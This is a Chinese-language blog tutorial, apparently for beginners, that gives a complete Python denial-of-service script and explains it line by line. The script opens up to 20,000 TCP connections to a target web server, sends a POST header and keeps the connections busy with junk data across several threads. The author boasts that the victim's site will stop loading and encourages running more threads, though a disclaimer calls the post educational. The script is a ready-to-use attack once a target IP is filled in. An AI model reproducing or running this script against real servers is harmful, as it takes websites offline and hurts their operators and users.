声明:本篇文章仅用于教育用途,禁止用于人任何攻击违法行为!!
先上代码,后面在逐行解释:
import socket
import time
import threading
MAX_CONN = 20000 ##建立连接数,你也可以多建几组连接
PORT = 80 ##攻击端口
IP = "目标ip" ##你所要攻击的ip
PAGE = "对应的网页路径" ##对应网页路径
Http_referer = ("POST %s HTTP/1.1\r\n"
"HOST:%s\r\n" ##这一部分是请求头
"Content-Length:%d\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, IP,len(PAGE)))
socks = [] ## 建立一个连接的数量的列表
def conn_thread(): ##定义线程
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("hello,I am DOS hacking you".encode())
except Exception as ex:
print("[*]->发送异常:%s\n" % ex)
socks.remove(s)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start() ##开两组线程,你喜欢也可以多开
conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()
哈哈,这时候别人的网站就打不开了。(达到拒绝服务的目的,也就是Bingo_DOS)
现在,我们来分模块来解析这个脚本:
我们先导入了 time(我咋感觉这个没什么用 ),threading ,socket 三个模块
其实也不能算Payload吧,但是我觉得这样子叫挺好的:
MAX_CONN = 20000 ##建立连接数,你也可以多建几组连接
PORT = 80 ##攻击端口
IP = "目标ip" ##你所要攻击的ip
PAGE = "对应的网页路径" ##对应网页路径
Http_referer = ("POST %s HTTP/1.1\r\n"
"HOST:%s\r\n" ##这一部分是请求头
"Content-Length:%d\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, IP,len(PAGE)))
socks = [ ]
所有建立成功连接的请求都会被放在这里
这里就要涉及到一些网络编程->套接字啦
def conn_thread(): ##定义线程
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
这里就是建立套接字,这里就是ipv4,tcp的格式,毕竟我一直建立着tcp连接的话,这样占用的带宽资源更多嘛(相对于UDP)
try:
s.connect((IP, PORT))
s.send(Http_referer.encode())
print("[*]->成功发送连接!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("[*]->无法连接服务器或发送错误:%s\n" % ex)
建立了一个连接线程之后还是不够的,我们还得给他发点东西(防止对方因为没有响应结束掉我们的进程)
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("hello,I am DOS's hacking you".encode())
except Exception as ex:
print("[*]->发送异常:%s\n" % ex)
socks.remove(s)
其实这里移除的话,也是被迫无奈,因为发送不成功不一定是连接中断,有可能是发送的数据丢包了呢(连接还是完好的),但是另可杀错一百,也不能放过一个嘛哈哈哈~~
最后这里就是创建线程了(嘶~~,为什么这段代码没有颜色??)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
这个就是直接套模板了,也没什么好说的,你变态一点,可以开多个线程哈(但是我不能确保你的电脑会不会卡死hhhh~~)
这可能发生在多个线程同时尝试移除同一个元素时,其中一个线程成功移除,而另一个线程在尝试移除时发现元素不存在导致的,所以解决的方法就是把MAX_CONN开大一点,或者说你开一个互斥锁也是可以的,不过对应的代码就要发生更改,也会更加复杂(这对新手不太友好,这里就不说了)
好了,那么今天的分享就到这里,喜欢博主的小伙伴可以点点赞收藏一下哦